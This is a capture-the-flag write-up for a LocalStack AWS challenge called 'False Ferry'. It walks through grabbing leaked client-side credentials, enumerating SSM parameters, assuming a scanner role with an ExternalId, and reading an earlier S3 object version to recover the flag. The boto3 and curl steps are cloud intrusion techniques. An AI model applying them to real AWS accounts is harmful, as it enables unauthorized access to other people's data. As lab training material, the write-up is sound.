False Ferry
False Ferry
Platform: CACTF2026 | Category: Misc | Type: Challenge | Difficulty: Medium | OS: Linux | Author: XESXOR | Date: 2026-07-27 | Status: Solved Techniques: client_side_credential_leak, ssm_parameter_enumeration, iam_assume_role_external_id, s3_object_versioning, trusted_version_recovery
Summary
Task: AWS LocalStack cloud challenge with leaked client-side credentials, restrictive SSM/IAM, and a tampered S3 object. Solution: enumerate SSM to obtain a trusted manifest VersionId and a scanner role ExternalId, AssumeRole, then use S3 object versioning (ListObjectVersions + GetObjectVersion) to recover the earlier authoritative version holding the flag while GetObject on the tampered latest is denied.
False Ferry — CACTF2026
Description
Lysa Harrowmere reaches the lower city ferry piers while Stormbound soldiers wait for the morning boat. They are supposed to cross the river and guard the east road before Vaultrune's next patrol moves through. The route board says the boat goes to the east road landing, but the crew roster sends it to a dock controlled by Vaultrune. If Lysa warns the soldiers openly, Vaultrune's men can claim she started a fight at the pier. If she confronts the ferry master, his guards can tear down the roster and post the correct one. Lysa has one job: find the earlier crossing list, prove who changed the dock, and get the soldiers onto the right boat before Vaultrune cuts the road.
Targets:
- 154.57.164.74:30862 (AWS/LocalStack API endpoint)
- 154.57.164.74:32623 (briefing web page)
English summary: An AWS cloud challenge running on LocalStack. The narrative maps directly onto AWS primitives — the "route board" vs "crew roster" is a conflict between an authoritative SSM parameter and a tampered S3 object. The goal ("find the earlier crossing list, prove who changed the dock") is S3 object versioning: recover the earlier, trusted object version referenced by the SSM parameter rather than the tampered latest version.
Analysis
Two ports are exposed:
154.57.164.74:30862— an AWS API endpoint.curl -sIreturns AWS-style headers (x-amz-request-id) andAccessDeniedException/MissingAuthentication, indicating a LocalStack instance fronting internal127.0.0.1:4566.154.57.164.74:32623— an in-world "Courier's Packet" briefing page (Server: PhoenixBriefing/1.0 Python) that instructs the player to catalog the SSM namespace/ferry/crossing/.
Key observations that shape the solution:
- The briefing page loads AWS credentials client-side from
/player-creds.json— a classic leaked-credential entry point. - The clerk identity has intentionally restrictive IAM: it can
DescribeParametersandGetParameteron SSM, but cannot read S3 objects directly and cannot useGetParametersByPathorGetParameterHistory. - The authoritative SSM parameter pins a specific trusted S3
VersionIdand provides a scanner role ARN + ExternalId — a confused-deputy protection pattern. The clerk assumes that role to gain scoped S3 version access. - On S3,
GetObject(latest) is denied, butListObjectVersionsandGetObjectVersionare allowed — forcing the versioning approach. The latest version is the tampered "false ferry"; the flag lives in the earlier, trusted version.
Solution
Step 1 — Recon the two ports
bash read-only • copy allowedcurl -sI http://154.57.164.74:30862 # AWS/LocalStack API (x-amz-request-id, AccessDeniedException) curl -s http://154.57.164.74:32623/ # Courier's Packet briefing; points at SSM /ferry/crossing/
Step 2 — Grab the leaked credentials
The briefing page fetches credentials client-side:
bash read-only • copy allowedcurl -s http://154.57.164.74:32623/player-creds.json
Returns a coalition-ferry-clerk access key, secret, region: us-east-1, and an internal endpoint. Use these against the public endpoint http://154.57.164.74:30862 with boto3 and an endpoint_url override.
Step 3 — Enumerate the SSM namespace
python read-only • copy allowed#!/usr/bin/env python3 import boto3 ENDPOINT = "http://154.57.164.74:30862" REGION = "us-east-1" KEY = "<CLERK_ACCESS_KEY_ID>" # from /player-creds.json SECRET = "<CLERK_SECRET_ACCESS_KEY>" # from /player-creds.json sess = boto3.session.Session( aws_access_key_id=KEY, aws_secret_access_key=SECRET, region_name=REGION, ) sts = sess.client("sts", endpoint_url=ENDPOINT) print(sts.get_caller_identity()) # arn:aws:iam::584729103648:user/coalition-ferry-clerk ssm = sess.client("ssm", endpoint_url=ENDPOINT) # DescribeParameters ALLOWED; GetParametersByPath / GetParameterHistory DENIED for p in ssm.describe_parameters(MaxResults=50)["Parameters"]: print(p["Name"]) # /ferry/crossing/live-crossing-id -> CROSSING-7A3F (the real authorized crossing) live = ssm.get_parameter(Name="/ferry/crossing/live-crossing-id")["Parameter"]["Value"] auth = ssm.get_parameter(Name=f"/ferry/crossing/{live}")["Parameter"]["Value"] print(auth)
The authoritative parameter /ferry/crossing/CROSSING-7A3F returns JSON pinning the trusted S3 object version plus a scanner role and its ExternalId:
json read-only • copy allowed{ "crossing_id": "CROSSING-7A3F", "status": "AUTHORIZED", "manifest_bucket": "ferry-crossing-manifest", "manifest_object_key": "manifests/morning-crossing-order.txt", "manifest_version_id": "2db0315c-ae95-4cbc-a896-f1ee586bc4f6", "scanner_role_arn": "arn:aws:iam::584729103648:role/ferry-crossing-scanner", "scanner_external_id": "ferry-crossing-scanner-7a3f", "record_type": "crossing_manifest" }
Other parameters (CROSSING-VOID-*, CROSSING-CLOSED-*, CROSSING-DRAFT-*) are decoys.
Step 4 — AssumeRole with the ExternalId from SSM
The clerk cannot read S3 directly, but can assume the scanner role using the ExternalId sourced from the SSM parameter (confused-deputy protection):
python read-only • copy allowedcreds = sts.assume_role( RoleArn="arn:aws:iam::584729103648:role/ferry-crossing-scanner", RoleSessionName="lysa", ExternalId="ferry-crossing-scanner-7a3f", )["Credentials"] s3 = boto3.client( "s3", endpoint_url=ENDPOINT, region_name=REGION, aws_access_key_id=creds["AccessKeyId"], aws_secret_access_key=creds["SecretAccessKey"], aws_session_token=creds["SessionToken"], )
Step 5 — S3 object versioning: recover the earlier trusted version
With the assumed-role credentials, GetObject (latest) is denied, but ListObjectVersions and GetObjectVersion are allowed:
python read-only • copy allowedBUCKET = "ferry-crossing-manifest" KEYOBJ = "manifests/morning-crossing-order.txt" vers = s3.list_object_versions(Bucket=BUCKET, Prefix=KEYOBJ)["Versions"] for v in vers: print(v["VersionId"], "IsLatest=", v["IsLatest"]) # Read each version explicitly: for v in vers: body = s3.get_object(Bucket=BUCKET, Key=KEYOBJ, VersionId=v["VersionId"])["Body"].read() print(v["VersionId"], "\n", body.decode(), "\n---")
Three versions exist:
9d9773be-...(IsLatest=True) — the tampered "false ferry":Batch: CROSSING-VOID-9B11 / Status: RELEASED(points to a VOID batch = Vaultrune's dock).2cd4c758-...— a draft,AWAITING_CROSSING_SIGNATURE.2db0315c-...— matches the AUTHORIZED SSMmanifest_version_id— the real crossing release record, containing the flag.
Reading the trusted version 2db0315c-ae95-4cbc-a896-f1ee586bc4f6:
CROSSING RELEASE RECORD
Batch: CROSSING-7A3F
Authorized by: Stormbound Coalition Ferry Office
HTB{REDACTED}
The flag lives in the earlier, authoritative S3 object version referenced by the AUTHORIZED SSM parameter — not the tampered latest version.